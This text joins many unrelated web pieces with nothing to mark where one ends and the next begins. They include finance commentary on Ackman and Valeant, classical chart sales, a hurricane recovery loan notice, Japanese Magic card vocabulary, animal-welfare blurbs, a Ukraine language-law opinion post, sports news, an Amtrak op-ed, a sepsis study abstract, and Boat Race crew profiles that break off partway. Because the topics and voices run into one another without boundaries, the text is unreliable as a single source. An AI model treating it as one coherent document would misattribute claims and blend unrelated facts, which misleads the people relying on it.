Valeant came to terms with the idea that it had little choice but to sell off its non-core assets, and perhaps its core assets, too, to pare down its debt in order to have better financial flexibility. The company has since reworked its debt covenants on multiple occasions, paying higher interest rates and fees in the process.
Finally, the company's core businesses began tumbling, one by one. Its flagship dermatology business was seeing year-over-year sales declines of more than 50%, while its branded Rx segment saw sales dip by 17% in the recently reported fourth quarter.
Put plainly, Valeant is a mess.
Ackman's glass-partially-full view
In many ways, Ackman will be criticized for his poor investment in Valeant Pharmaceuticals. Pershing Square was the second-largest investor in Valeant's stock at the end of the fourth quarter according to 13F filings, behind only Paulson & Co., and it's estimated that Ackman wound up losing nearly $4 billion in total on his investment in Valeant. (He had previously pared his funds' holdings in Valeant.)
However, selling Pershing Square's remaining 18.1 million shares now means walking away with about $221 million. That might seem like peanuts after losing nearly $4 billion, but Ackman deserves credit for realizing his mistake, checking his ego at the door, and walking away with $221 million rather than risk seeing his investment get further whittled down.
Why not let his investment ride if he's lost nearly 95%, you wonder? Simple: Ackman's investment thesis no longer held true.
Ackman bought into Valeant with the assumption that its mergers and acquisition (M&A) machine could make between $7 billion and $20 billion in annual acquisitions. He also strongly believed he was buying into a company with strong pricing power and a solid management team. None of these visions have proven accurate. Valeant's M&A machine was halted in its tracks, Valeant's pricing power went in reverse in the fourth quarter, and its new CEO Joseph Papa may have walked into an unfixable situation.
The biggest issue for Valeant Pharmaceuticals remains its debt covenants. Valeant is required to generate a specific amount more in EBITDA each year than it pays out to cover the interest on its debt. This EBITDA-to-interest coverage ratio has been readjusted on numerous occasions over the past year.
Based on the company's forecast for $3.55 billion to $3.7 billion in full-year EBITDA for 2017, and interest coverage of $1.85 billion, Valeant's EBITDA-to-interest coverage ratio is probably going to fall below two. That's dangerously low, and it may trigger a faster repayment of its debt if it heads any lower. Ackman probably realized this once he saw the Q4 report and made the decision to exit.
No. 1 on the charts: It doesn't get any better than that. Or does it?
The dirty secret of the Billboard classical charts is that album sales figures are so low, the charts are almost meaningless. Sales of 200 or 300 units are enough to land an album in the top 10. Hahn's No. 1 recording, after the sales spike resulting from her appearance on Conan, bolstered by blogs and press, sold 1,000 copies.
It's not exactly news that album sales in all genres have been declining for years. Nor is it news that classical recordings are not top sellers. "The classical charts have always been looked at as in the 3-percenter club," says Alex Miller, general manager of Sony Masterworks. "Three percent of total music sales are in classical music."
The idea that the classical recording industry is on the rocks, a suggestion raised from time to time in part because of strikingly low sales figures, is generally countered by the assertion that there are more classical recordings available than ever before. And that might be the reason so few of them are selling well.
SoundScan, the company that provides sales data to Billboard, says it cannot officially release exact sales figures to journalists. Instead, all numbers are rounded to the nearest 1,000, so sales of 501 copies are reported as 1,000, and anything less than 500 is "under 1,000." On last week's traditional classical chart, only the top two recordings managed to sell "1,000" copies. Every other recording (including, in its second week, Hahn's) sold "under 1,000." The official total sales of the top 25 titles amounted to 5,000 copies, an average of 200 units a recording (sorry, "under 1,000"). And yes, that includes downloads.
A leaked copy of the SoundScan figures for a single week from the fall tells an equally sad tale. In early October, pianist Murray Perahia's much-praised album of Bach partitas was in its sixth week on the list, holding strong at No. 10. It sold 189 copies. No. 25, the debut of the young violinist Caroline Goulding, in its third week, sold 75 copies.
Is there any point to charting such low numbers? Billboard has wondered the same thing. The magazine has two charts, Classical Traditional and Classical Crossover, and combines them on http:/ / Billboard.com. "We have actually considered decreasing the length of the two separate charts," says Silvio Pietroluongo, charts director of Billboard. Some charts, such as World Music, list only the top 15 sellers. Having 25 positions, he says, "may be a bit much."
Weekly charts are not the best way to measure classical performance, industry insiders say.
"We don't necessarily follow the bump of a new album," says John Q. Walker of Zenph Studios, speaking about the "Re-Performance" release of Glenn Gould's Goldberg Variations, re-created with computer technology and released by Sony in 2007. "People hear it and tell their friends, and it keeps riding this wave."
For the Gould album, Walker and Sony were thinking not week by week, but year by year. The sales projections were 40,000 copies over a 20-year lifetime. The album sold 40,000 copies in its first year. "The next 19 years are gravy," Walker says. He is, therefore, not worried that Zenph's latest re-creation, "Rachmaninoff Plays Rachmaninoff," released by Sony in the fall, only sold 385 copies in its first two weeks, debuting at No. 7 on the traditional classical charts.
I have no idea what this could be! My husband asked me "Who was that?" and I replied, "I got a package from Amazon."
"On a Sunday? Do they have UPS delivering on Sundays?"
"USPS does, especially if it's Amazon."
"What is it?" He asked. I had no idea. I hadn't ordered anything in a while and wasn't expecting anything (I had forgotten about Arbitrary Day).
I looked at the label, and it had C/O Greensaber25 next to my name. Then it hit me! My Arbitrary Day Gift! I told him it was that and went to open it.
I needed to find my phone to take a couple of pictures! I took one of the box (covering my address as stated) and was WOW! I think I got every World of Warcraft Book! Plus there's another hard cover graphic novel from Vertigo! JACKPOT! or more aptly... EPIC LOOTS!!!!
I took the loot to show him and he was amazed as well! I had to arrange them to take cook picture to show you all what my wonderful SS got me! I love reading and am an avid WOW player as well. I had even thought of getting some of these books in the past, but am glad I didn't!
NJCC has expanded its REBUILD loan products over time to continually fulfill the short-term and long-term needs of rebuilding small businesses. For example, in April 2013, NJCC reduced REBUILD’s minimum qualifying FICO score from 625 to 600, expanded its maximum loan size from $30,000 to $65,000, and extended its maximum loan term from 24 to 39 months, making the loan more accessible and useful to small businesses with ongoing recovery needs. NJCC also expanded the REBUILD program beyond small businesses to also support the development of emergency housing, education facilities, and other community facilities.
Loan Terms
Loans between $10,000 and $65,000
Affordable fixed interest rate at 3%
Loan term up to three years, with an option for an additional three months interest free
Collateral: UCC-1 filing on equipment purchases in excess of $10,000; personal guarantees from business owners
Absolutely no fees!
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Businesses physically and economically impacted by Hurricane Sandy
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Other underwriting criteria may apply
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Download and complete the loan application documents:
Completed applications should be submitted, along with all required supporting documents, via mail, e-mail, or fax, to:
New Jersey Community Capital
Attention: REBUILD New Jersey
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108 Church Street, 3rd Floor, New Brunswick, NJ 08901
E-mail: darndt<at>njclf.com Fax: 732.543.1201
Phone: 732.640.2061 x405
I wrote an interesting post a while back about vocabulary used while playing Magic in Japanese. If you’re living and playing here, planning on visiting the country for a while, or if you just want to study Japanese, please use this page! The majority of this information is copy and pasted from my original article, which you can find here (https://thejapanhobbyist.wordpress.com/2012/02/07/talk-the-talk-a-mtg-vocab-lesson-in-japanese-a-store-profile/)
I thought it would be useful to all those starting to play at Japanese hobby shops to know what each ability or term is in Japanese. With a basic understanding of hiragana, or even just the romanized version of the word, you should be able to play a match in Japanese. A good amount of the players will know some of the terms in English, and some of the judges will be able to speak English a little, but for the most part you will be on your own. In my own experience, if you already know the cards abilities by heart, it is incredibly helpful. Knowing the vocabulary in case you need to explain something or understand what the other player is doing is useful as well. Recently I’ve done entire matches speaking no other Japanese at all except for the card vocabulary, so don’t be too intimidated by playing in Japanese.
Also a warning before you continue reading. Make sure that your OS supports viewing of Japanese characters or else you won’t be able to see the kanji/hiragana characters that are used on the Magic cards. The examples are also entirely in Japanese hiragana. If you want the romanization for those please let me know and I will post an update later. If you see any mistakes in the Japanese spelling, please let me know! (for vocabulary from older sets, click on this link).
The Basics:
The main phases are pretty much all the same, such as untap, upkeep, main phase, 2nd main phase, end step. The vocab you will need to know for attack is as follows. Most players know the other phases in English.
こうげき = (cougeki) attack. “Punch” is also used as an attack word. こうげきをします。(I am attacking.).
The following words are also used, with most of them sounding almost exactly the same in English.
Library = ライブラリ (raiburari)
Card = カード (kado)
Hand = 手札 （てふだ）(tefuda)
Turn = ターン (tann)
Game = ゲーム (gaymu)
Token = トークン (tokuun)
Counter (as in -1/-1 counter) = カウンタ (kaownta)
Trigger = ゆうはつ (yuuhatsu)
Play First = せんこう (senkou)
Play Second = こうこう (koukou)
Card Types:
The card types are all the same too. Artifact, Creature, Instant, Sorcery, mana, planeswalker, Enchant-Aura, Enchantment. The types are written in Katakana for those who can read it, but they are pronounced relatively the same way as their English counterparts. とち（土地 = tochi) is land. If you want to know what the land types are in Japanese, please look below.
Island = shima (島）
Mountain = yama (山）
Forest = mori (森）
Plains = heichi (平地）
Swamp = numa (沼）
Wastes = arechi （荒地）
Card Abilities:
Here is a list of the abilities found on most cards, or at least those that are currently found in Standard play. If you have any to add, please leave me a message after the post. (Last updated 10/20/13 with kanji and corrected spellings in hiragana.)
Core set/basic vocabulary
むしょうく（無色）= (mushoku) Colorless
いけにえ （生け贄）= (iikayniae) sacrifice
ぼち（墓地）= (bochi) graveyard
える（ライフをえる）= (aeru – life oh aeru) gain- gain life
ゲームからとりのぞく/ついほう（追放）= (game kara tori no zoku/sueiiho) remove from the game/exile
はんこん = (hancon) lifelink
ひこう（飛行）= (hikou) flying
さいせい = (saisei) regenerate
ぼうえい （防衛）= (bouei) defender
はかい = (hakai) destroy
そっこう （速攻= (socou) haste
せっし (接死）= (seyshi) deathtouch
せんせいこうげき （先制攻撃）= (senseicougeki) first strike
けいかい （警戒） = (kaykai) vigilance
じゅごん （呪禁）= (jyugon) hexproof
しゅんそく（瞬速）= (shunsoku) flash
すてる = (suteru) throw away/discard
はかいされない （破壊されない）= (hakaisarenai) indestrucible
いかく= (iikaku) intimidate
にだんこうげき（二段攻撃） = (nidan cougeki) Double Strike
そうび （装備）= (soubi) equip
はずれる= (hazureiru) unequip
うちけされない = (oochikay saraynai) Can’t be countered
うちけす (打ち消す)= (oochikay su) counter
とうたつ （到達）= (toutatsu) Reach
しょうしゅう（召集）= (shoushuu) Convoke
せんじゅつ (占術）= (senjutsu) Scry
かかん ( Prowess
Ixalan Block Vocabulary
探検を行う (たんけんをおかなう) = Explore ( Tanken wo okonau)
強襲 (きょうしゅう) = Raid (Kyoushuu)
宝物 (たからもの) = Treasure (Takaramono)
激昂(げきこう) = Enrage (Gekikou)
Dominaria Vocabulary
= Kicker (Kicka)
Guilds of Ravnica
諜報 （ちょうほう）＝ Surveil (chouhou)
再活 （さいかつ）＝ Jump-Start (saikatsu)
召集 （しょうしゅう）＝ Convoke (shoushu)
教導 （きょうどう）＝ Mentor (kyoudou)
宿根 （しゅくこん）＝ Undergrowth (shukucon)
Ravnica Allegiance
Afterlife (shigo) = 死後 （しご）
Spectacle (kenran) = 絢爛 けんらん
Addendum (fusoku) = 附則 (ふそく)
Adapt (junnou) = 順応 （じゅんのう）
Riot (boudou) = 暴動 （ぼうどう）
Attacking:
It would also be useful to know how to attack, or should I say how to deal damage.
First are the numbers: 1-20
1=ichi / 2= ni / 3 = san / 4 = yon / 5 = go / 6=roku / 7=nana / 8 = hachi / 9=kyuu /10 =jyu
For 11-19, take 10 (jyu) and add the first number. 11(10+1)= jyu+ichi.
For 20-99, take the first number and add ten to the word. EXAMPLE: 20 = ni+jyu. 30= san+jyu. 44 = yon+jyu+yon
When you are dealing damage you will usually add てん(ten)（点）to the number. 10 damage equals 十点 (jyu ten) damage (10 points damage basically).
Playing during a certain phase:
Sometimes you might want to play an instant or activate an ability during a certain phase, or before one. As stated above, most of the Magic players use the English names of the phases while playing. When you want to do something, you can say “____ (phase name) no mae, ____ oh shimasu.” This means “Before ____ phase, I’m playing ___ spell”.
An example would be “End step no mae, Think Twice oh shimasu” (End stepのまえ、Think Twiceをします。)
Most Japanese players in the bigger cities should know these words, but if they don’t you can always ask for a judge to help.
I hope this explanation wasn’t too confusing. If you take anything from it, the vocabulary would be the most important. If you are a beginner of the Japanese language and living in Japan, this would be a good way to practice your Japanese. Good luck with your gaming!
BAD SCIENCE DISTORTS FERAL CAT FACTS The topic of feral cat predation on wildlife, especially birds, has become a battleground of competing opinions on whether feral cats should be trapped, neutered and returned to their environment, or if they should be viewed as invasive species and irradiated. A careful analysis of the science concludes there is no strong support for the viewpoint that cats are a serious threat to wildlife, except in certain instances of fragile populations in isolated or fragmented ecosystems.
DECLAWING CATS A cat's claws are used to capture prey, for climbing, and in self-defense. Claws are an integral part of a cat's life, but their use can also be a problem for cats' human cohabitants. Declawing, however, is a painful and permanently crippling procedure that should not be practiced. There are effective and humane alternatives to declawing that can reduce or eliminate clawing damage.
TRAP-NEUTER-RETURN Trap-neuter-return (TNR) is recommended only for colonies of feral cats who can be returned to supervised sites where long-term care can be assured. Stray, domestic cats need to be re-socialized and placed in homes. Spaying and neutering colonies of cats: stabilizes the population at manageable levels, eliminates "annoying" behaviors associated with mating (fighting, yowling, and "spraying toms"), helps make the animals easier to deal with over the long term (re: trapping for future veterinary treatment), is more effective and less costly than repeated attempts at eradication is humane to the animals and fosters compassion in the community.
PROTECTING OUTDOOR CATS IN WINTER Rain, snow, and winter temperatures are just as hard on cats as they are on people. Young or old cats - especially arthritic or sickly - should be brought inside for the winter if at all possible. Cats should also be brought in the house or into heated garages or enclosures at night. Bring cats inside during cold snaps or when it rains. If cats cannot be brought inside for the season, create a wind proof, waterproof enclosure.
DEALING WITH FLEAS The flea has been around for about 40 million years. It is such a tenacious pest because it reproduces explosively. One female flea can lay more than 800 eggs in her six-week lifetime. An egg can become an adult flea in less than three weeks, ready to reproduce. Within only 30 days, just 10 fleas can produce 250,000 children and grandchildren. The flea's diet consists of blood - animal or human, the flea doesn't care. Each flea feeds about once every hour, so an animal with only 25 fleas could be bitten as much as 600 times in one day.
SPAYING & NEUTERING About 4 million "excess" dogs and cats will be killed in shelters this year, while millions of homeless animals live short, hard, hungry lives on the streets, only to die miserably from disease, injury, or predation. About 1/3 of animals in shelters are purebreds, either intentionally or accidentally bred. By being a responsible caregiver and sterilizing your companion animals, you avoid contributing to this terrible problem of pet overpopulation.
PET THEFT Some 5 million family companion animals are reported missing annually. Based on "pet theft" reports, it is conservatively estimated that approximately 1.5 to 2 million of these missing companion animals are taken forcibly, or by deception, through so-called "Free to Good Home" ads. Dogs and cats are sold to many different clients for many uses, including dog-fighting rings as fighters or as bait, to puppy mills for breeding, as meat for human consumption, as prey for exotic animals, as fur for clothing or accessories.
CAT & DOG FUR It is estimated that two million dogs and cats are killed each year in the fur trade. Dog and cat breeders operate primarily in China and elsewhere in Southeast Asia. Breeders sell cat and dog furs to companies in Europe, who incorporate the fur and skin of the animals into clothing and products such as cat toys or stuffed animals. Products consisting partially or wholly of cat and dog fur are then sold to buyers in Europe, America and elsewhere in the world.
LEGAL PROTECTION FOR ANIMALS Domestic animals suffer cruelty and abuse all too frequently. Often unreported, animal cruelty has many causes, ranging from ignorance to outright viciousness. Public education is the primary means of preventing animal abuse. But when education fails, the legal process can be an effective tool. Many times the act of prosecuting an abusive individual will motivate them to adhere to humane principles they have previously ignored. Before this can be accomplished, however, animal advocates need to know what acts are illegal under current laws.
ANIMAL CRUELTY You've seen an animal being abused and want to do something to stop it, but you don't know what to do. Here are a few steps to help you with a cruelty investigation. First, find out who in your town, county, or state investigates and enforces the anti-cruelty codes. Often, these people work for local humane societies, societies for the prevention of cruelty to animals (SPCAs), or taxpayer-funded animal shelters.
PET SHOPS "Pet shops" use the natural appeal of puppies, kittens and other animals to sell them at an inflated price, often several hundred dollars for "purebred" animals. The vast majority of dogs sold in pet shops, between 350,000 and 500,000 a year, are raised in "puppy mills," breeding kennels located mostly in the Midwest that are notorious for their cramped, crude and filthy conditions and their continuous breeding of unhealthy and hard-to-socialize animals.
ANIMAL SHELTERS Animal shelters, like the animals they house, vary greatly by size, purpose, capacity, and humaneness. They may be run by the government, by a local humane society, by private individuals, or by a combination of these. Some are funded by donations alone, while others receive tax money. Sometimes tax money comes with a stipulation that some animals must be turned over to experimenters. Every effort should be made to reverse such a policy, which is known as "pound seizure."
TRAVELING WITH A COMPANION ANIMAL Is taking your companion animal along best for your companion animal, or best for you? At home your companion animal has all of his/her favorite toys, sleeping spots, and perhaps the run of the backyard all day. Will he accept being cooped up in a car for several days? Early acclimation to automobile travel is the key
COMPANION ANIMALS & THE HOLIDAY SEASON The excitement of gift-giving, family get-togethers, party preparations ... it's all too easy during the holidays to temporarily forget the needs of companion animals. If you are traveling for the holidays and plan to leave your animals in the care of others, provide written instructions for feeding, medicating, exercise, and handling emergencies. Leave the phone number of your veterinarian or veterinary emergency clinic with the other "essential" phone numbers. Notify your vet of the dates you will be away, the name and number of the sitter, and emergency contact numbers.
COMPANION ANIMAL OVERPOPULATION CRISIS Each year, in the United States, 27 million cats and dogs are born. Around 4 million of these animals are euthanized because homes are unable to be found for them. It is a tragic end to these healthy young lives. Overpopulation is a problem that results in thousands of animals being killed each month. There are many reasons for this; all are preventable. The answer to this huge problem is simple: reduce the number of animals coming into this world. Through the routine procedure of spaying and neutering dogs and cats, there would be fewer unwanted animals, thus reducing or eliminating the heartbreaking process of euthanizing innocent animals left in our overcrowded shelters.
But back to the language bill: why was that good law revoked? It kept Ukrainian as the national language but made other languages — usually Russian but also Hungarian, Moldovan and Romanian — regional languages anywhere 10% of more were non-Ukrainian native speakers. The law was mostly, I think, about assuring parents that their kids could go to public schools where their mother tongue was the language of instruction, but also about assuring that courts and other governmental institutions are bilingual Ukrainian/other language in bilingual regions.
Revoking the law displays nothing much more than malevolence toward Russian and other minority language speakers, and I understand why they would be very uncomfortable about their future, and their children’s future, in Ukraine, especially considering the post-Soviet story in other Eastern European states with Russian-speaking minorities.
Looking forward NOT to any coverage in the New York Times, Washington Post, MSNBC, ABC, CBS, or the Guardian of Ukraine’s new and intimidating language policy. Or of the bill
currently floating in the Ukrainian parliament, which would effectively ban all Russian media in the country. Authors of the bill, who are members of Svoboda, justified the move by what they called biased and untruthful coverage of the Ukrainian protest. The bill would ban all media from countries which have not ratified the European Convention on Transfrontier Television, from broadcasting in Ukraine. Russia signed the convention, but has not ratified it so far.
Learn more about Svoboda here. Here’s some stuff you probably already know about the party’s leader, Oleh Tyahnybok:
In 2004, Tyahnybok was kicked out of former President Viktor Yushchenko’s parliamentary faction for a speech calling for Ukrainians to fight against a ‘Muscovite-Jewish mafia’ — using two highly insulting words to describe Russians and Jews — and emphasising that Ukrainians had in the past fought this threat with arms. In 2005, he signed an open letter to Ukrainian leaders, including President Yushchenko, calling for the government to halt the ‘criminal activities’ of ‘organised Jewry,’ which, the letter said, was spreading its influence in the country through conspiratorial organisations as the Anti-Defamation League – and which ultimately wanted to commit ‘genocide’ against the Ukrainian people.
But hey, he says he’s not a stupid but charismatic racist anti-Semite anymore. I don’t trust him, based on the bills his party is pushing and passing in Ukraine’s parliament.
Learn more about Ukraine’s languages here. It’s quite a bilingual/multilingual country, something it should be proud of rather than be trying to change.
The prolific 27-year-old was the scourge of the Three Lions in Sao Paulo, expertly directing a header into the far corner and then driving into the roof of the net as the clock ticked to a conclusion.
Victory resurrected Uruguay's hopes of qualifying for the last 16 of the World Cup in Brazil, but the result left Roy Hodgson's team requiring a remarkable turnaround if they are to progress.
Amid his natural celebration following the final whistle, however, Suarez showed his deep respect for Gerrard by heading straight to the midfielder to provide his support at a difficult moment.
"This is an unlucky moment for him," the talismanic forward, who notched 31 goals for Liverpool last season, explained. "I don't like it when he hurts like this."
The Salto native, returning to the La Celeste line-up after missing their opening match, added: "I said: 'Keep going, forget this game, you're one of the best.' He's the best player I've played with."
As a long ball bounced in behind the England defence in the final minutes of the Sao Paulo encounter, Suarez was primed and ready to capitalise on the smallest of chances to come his way.
The striker scooped possession, carried forward despite a lack of balance and his powerful finish soared over Joe Hart and allowed the Reds' No.7 to set off on a passionate celebration.
He said: "I had to keep calm, keep my cool and when I got the ball I just kicked it with my whole heart, thinking of all those who have supported me.
@TheVertical will Sam Mitchell be back as coach of the Wolves? #thevertical — Tim Nehring (@timmyknee) March 16, 2016
Here’s the video.
Here’s what Woj had to say:
Tim, the longer the Steve Kaplan-Jason Levien group goes without completing its deal to purchase 30 percent of the team from owner Glen Taylor, the better chance Mitchell has to survive another year.
Kaplan and Levien need to come up with the money to close the deal. And they need to come to an agreement with how much say Kaplan, and especially Levien, will have over basketball operations in Minnesota.
For now, Kevin Garnett’s endorsement of Sam Mitchell goes a long way with Glen Taylor. Several elite coaches see the Wolves as maybe the most intriguing-coaching job that could become available this offseason. And that’s because of Karl-Anthony Towns and Andrew Wiggins, the great young talent with the Wolves, but right now, the minority ownership snag is keeping everything in limbo.
There isn’t anything new here, really. In fact, Woj essentially leaves out all of the information ESPN’s Zach Lowe and Brian Windhorst reported last Sunday, which Cold Omaha shed some light on just last week.
In essence, NBA rules do not allow Kaplan to purchase any percentage of the Wolves until he sells his stake in the Memphis Grizzlies. Kaplan may not even have enough cash to buy the Wolves until that happens. Moreover, what has put the deal between he and Taylor in limbo — and in jeopardy — is that Kaplan is having difficulty selling with his stake in the Grizzlies in the wake of turmoil within the Memphis ownership group.
Last week, the Memphis Business Journal estimated just how much of the Grizzlies Kaplan owns while reiterating what he might do to go about selling his stake, as Lowe and Windhorst had initially reported.
It’s difficult to be certain exactly what percentage of the team Kaplan owns as the specifics of the ownership deal — which included several locals and a few celebrities— were never officially released.
However, when the original deal went down, the Memphis Flyer published a detail of the ownership splits. Certainly, there could have been some changes since then, but if we take the percentages laid out in that post as true, we get a sense of how the ownership negotiations may have broken down.
If Kaplan owns 14.22 percent of the team as reported, and paid about $25 million in 2012, he could want as much as $110 million for his share now. At least, that’s what a 14 percent stake in the Grizzlies is supposedly worth now.
Pera’s stake is about 25 percent, making him the owner of the largest share. He paid an estimated $45 million in 2012. With those numbers, it isn’t hard to see how he and Kaplan might come to an impasse.
Pera — or anyone, really — wouldn’t want to part with that much money for another slice of a team they already control. Meanwhile, Kaplan wants (perhaps needs) the cash to buy into a new team. Plus, the Timberwolves will be sold along with the same increased value the rest of the NBA enjoys. Currently, Forbes values the Timberwolves at $720 million.
The percentages and the contracts are likely far more complex that I’ve laid out here, but it does help underscore the disconnect between the perceived value of an NBA team versus the actual revenue the business makes.
Another interesting portion of the story that has emerged is an odd clause in the team’s ownership contract, which was reported by ESPN. Kaplan could trigger a so-called “buy-sell” clause that could force a sale, in theory. Kaplan could make a bid for controlling interest in the team at a price of Pera’s choice. If this clause is triggered, Pera would have two choices. Either he could buy out the minority owner at that named price, or sell his share based on the same valuation.
It is said that Taylor has spoken with other potential buyers, which is perfectly within his rights, but nobody has named names. If the situation in Memphis becomes more complicated and Taylor is interested in selling a minority stake in the Wolves before the NBA’s enormous TV contract kicks in, maybe he should think about going down that road.
With each passing day it seems more and more likely that Mitchell — and general manager Milt Newton — will return for at least one more season. If that’s the case perhaps, perhaps Garnett, who favorably endorsed Mitchell in February, will forgo retirement and come back for the 2016-17 season, which would put another $8 million in his pocket. For now, though, as Woj says, everything remains in limbo.
So, if bandwagon fans just can’t choose one team between Alabama or Clemson, why not combine them?
That’s apparently what a store in South Korea is doing, selling an Alabama sweatshirt with a Clemson logo and colors, according to “Annie Who,” a Twitter user from Columbia, South Carolina.
Maybe there’s a sweatshirt for Kenny Chesney after all.
My friend is on a trip to S. Korea and saw this in a store… pic.twitter.com/mUslgoso2N — Annie Who (@EarlyGirlSC) June 18, 2017
So taken for granted is train travel in the U.S. that members of Congress voted last week to decrease funds to our national railroad, Amtrak, rather than to increase it. Upon researching the reason for this, I was left with only one loud and clear answer: politicians don’t believe railroad travel is an important issue for their constituents.
Think Again.
This is our country. The best way to see it and the best, most environmentally viable 21st-century means of getting around it should be rail travel. The railroads built this country. They enabled the migration of people from east to west, the movement of U.S. mail for the purpose of business, the transportation of goods and ideas, the movement of commuters and ultimately the safe passage of travelers seeking adventure.
In the Northeast Corridor, rail traffic has increased drastically since 2001. We take for granted the trains that bring commuters to and from the business centers of Boston, New York, Philadelphia, Wilmington, Baltimore, and Washington D.C. Every time I’ve ridden the train to or from Union Station D.C., the line to board that train has snaked on a seemingly endless trail through the train station. These trains are packed and will continue to be. Are the railroad ties new? Are the bridges refitted? Are the train stations state-of-the-art? Perhaps our elected representatives should set out to find the answers to these questions and strengthen our infrastructure and leave an actual and tangible legacy for their countrymen and women.
Train travel, such a vital part of America’s past is destined to be America’s future. Our politicians need to be attentive to the needs of their constituents, not pander to the airline industry. They shouldn’t be running on a platform based on “going green” and then ignore the most environmentally-friendly form of short and long-distance travel, which also happens to be readily embraced by the rest of the world. Let Europe and Asia race ahead? Where’s your sense of innovation America? Rise to the occasion and solve the problem of moving our increasing population efficiently and safely across the rails.
We have Amtrak, the neglected middle child of transportation, which has likely been doing the best it can on our ultra-outdated infrastructure. It’s ageing. Yet to read the reports of Congressmen would make Amtrak seem like a luxury town car. Recent references by a congressman quoted in the New York Times that he refused to support a budget increase for Amtrak because it spent money on “luxury sleeper cars they can’t fill” fell short on my ears. I always have trouble getting a room in a sleeper to Florida, because they are so heavily booked. Same with trips to Chicago. Perhaps the Congressman would like to ride in coach for 21 hours straight? Or hop onto the top bunk in a roomette and see ‘luxury’ firsthand. Or likely he’ll prefer to hop on his chartered jet.
Like a flower, urged to bloom while picking off its petals one by one, Amtrak is doing its best to fulfill its promises with very little. The tragic derailment outside Philly was the first of its kind in 28 years. This record is likely due to one thing: the dedication of Amtrak staff. You will not find a more dedicated group of people in the field of transportation. Many of them were inspired to start working for Amtrak, and stay there, for their sheer love of trains. This is visible in all of their hard work on every journey, long or short. Derailments and accidents leading to loss of life are still quite rare on our nation’s railroads. More are likely due to people not riding the train, ending up on the tracks when they are not supposed to. Even minor accidents are few and far between.
Make it better. Don’t turn against the grand dame of American transportation. Instead…write your Representatives, your Senators, your President. Let them know that you are a constituent and you are mad as hell that we as a nation are failing to support the infrastructure needed to maintain the railroad: the gates, the switches, the roads, tracks, and bridges desperately needed to support our most viable and environmentally friendly system of transport for the new millennium. Ask them to take a train ride. Ask them to look out the window. Ask them to notice the beauty in the passing countryside, the bright lights of the cities, the homes that line the routes through our suburbs. Ask them to see the people that wave at each station and ask them to wave back. Wave back with a vote to support train travel. Because it matters to us.
Train travel matters to Americans. It is the great equalizer. You might just be sitting next to a student or a mother or a soldier or a businessperson or the Vice President of the United States.
We should vote to support train travel and railroad infrastructure. Only then can we begin a dialogue that pushes for high speed trains that match Europe and Asia.
Only then will the rest of the world race to catch up with us economically and environmentally.
Now that’s a platform to run on.
That’s a platform to board a train from.
Back again on vinyl where it belongs, MF DOOM’s 1999 classic Operation: Doomsday is now presented on a premium-grade split-colored LP, with audio re-mastered from the original Fondle’Em Records release, and a poster of the album cover art!
Underneath his mysterious metal mask, MF DOOM hides the cachet underground legends are made of. After KMD (his first group)’s 1994 sophomore album Bl_ck B_st_rds was shelved by Elektra in 1994 and his blood brother Subroc (one half of the sibling rap duo) passed away, surviving frontman Zev Love X mutated into the MC Avenger known as MF DOOM and the Rap world is better for it. This 19-cut deep album is ridiculously dope, in a bizarro Ol’ Dirty Bastard kind of way. Doom sounds either high or drunk on most of the tracks, his self-produced beats are gritty, and his rhyme styles are almost indecipherable. On arguably the best track, “Rhymes Like Dimes,” Doom weaves some pointed lyrics through his abstract wordplay, spitting ‘only in America could you find a way to earn a healthy buck / And still keep your attitude on self-destruct.’
OBJECTIVES: Measurement of blood lactate concentration in the early management of sepsis is an important step in severity assessment. High blood lactate levels in the early phase of sepsis have classically been thought to be related to tissue hypoxia, but other factors could intervene. We hypothesized that the activation of glycolysis through β-adrenergic stimulation by endogenous catecholamines plays an important role in lactate production and that long-term β-blocker therapy could affect the lactate concentration in patients with severe sepsis and septic shock.
DESIGN: Retrospective cohort study.
SETTING: Emergency department.
PATIENTS: Two hundred sixty patients with severe sepsis or septic shock were included. Twenty-five percent were previously treated with β-blockers.
INTERVENTIONS: None.
MEASUREMENTS AND MAIN RESULTS: We recorded initial vital signs, the source of infection, mortality at 28 days, blood lactate concentration, and Predisposition Insult Response of Organ failure and Sequential Organ Failure Assessment scores using an electronic database. Blood lactate concentration was significantly lower in patients previously treated with β-blockers (3.9 ± 2.3 mmol/L vs 5.6 ± 3.6 mmol/L; p < 0.001). This difference was still significant after controlling for mortality (p < 0.005), for the level of the Predisposition Insult Response of Organ failure (p < 0.05) and Sequential Organ Failure Assessment (p < 0.05) scores, and for the source of infection (p < 0.05). Nearly four times more patients treated with β-blockers had normal blood lactate levels (p< 0.001). Only two factors were significantly and independently associated with normal blood lactate concentration during severe sepsis and septic shock: survival (p = 0.03) and β-blocker therapy (p = 0.01).
So, will Oxford make it a hat-trick of wins in 2017, or will Cambridge record their first Tideway victory?
Let’s take a look at the two crews:
Bow:
Oxford
Name: Flo Pickles
Nationality: British
Age: 20
Weight: 60kg
Height: 169cm
A graduate of the Gloucester Hartpury College’s “Start” programme (a joint initiative between GB Rowing and Gloucester Rowing Club) Pickles is an outstanding talent. A double Henley winner she won bronze at the Junior World Championships in 2014 and has raced at the U23 World Championships for the past 2 years. More renowned for sculling than sweep (she won bronze in the W1X at the 2016 European University Championships) she has been out of the boat earlier in the year through injury and her return has definitely strengthened the boat.
Cambridge
Name: Ashton Brown
Nationality: Australian/Canadian
Age: 28
Weight: 82kg
Height: 173cm
The heaviest rower in the race is perhaps an odd choice for the bow seat, but Brown is one of the most experienced athletes in the race. This year’s Cambridge President, she is set to win her third Blue and, and after two successive losses will be desperate to make it “third time lucky”. The 28 year old is reading for a PhD in education having already studied at the University of Ottawa and Princeton University. She represented Canada at the 2009 and 2010 U23 World Championships, winning a bronze medal in 2010. Whilst at Princeton she won gold in the NCAA championships and Head of the Charles.
Verdict: a slight advantage to Cambridge, but it’s close.
2 seat
Oxford
Name: Alice Roberts
Nationality: British
Age: 19
Weight: 67.5kg
Height: 169cm
Alice Roberts learnt to row whilst at Cheney School in Oxford. The state school only started rowing in 2011 in partnership with Falcon Rowing Club. Coached by former Olympian Peter Haining the school has quickly gained a reputation for producing some outstanding talent. In 2012 a 14 year old Roberts is quoted in an Oxford Times article saying “I never thought I would have been able to become a rower – it always seemed too expensive. But now it has me hooked”. The youngest rower in the women’s race she is definitely another rower with a bright future ahead of her and she becomes the first athlete from Cheney Falcons to win a Blue.
Cambridge
Name: Imogen Grant
Nationality: British
Age: 21
Weight: 58.2kg
Height: 168cm
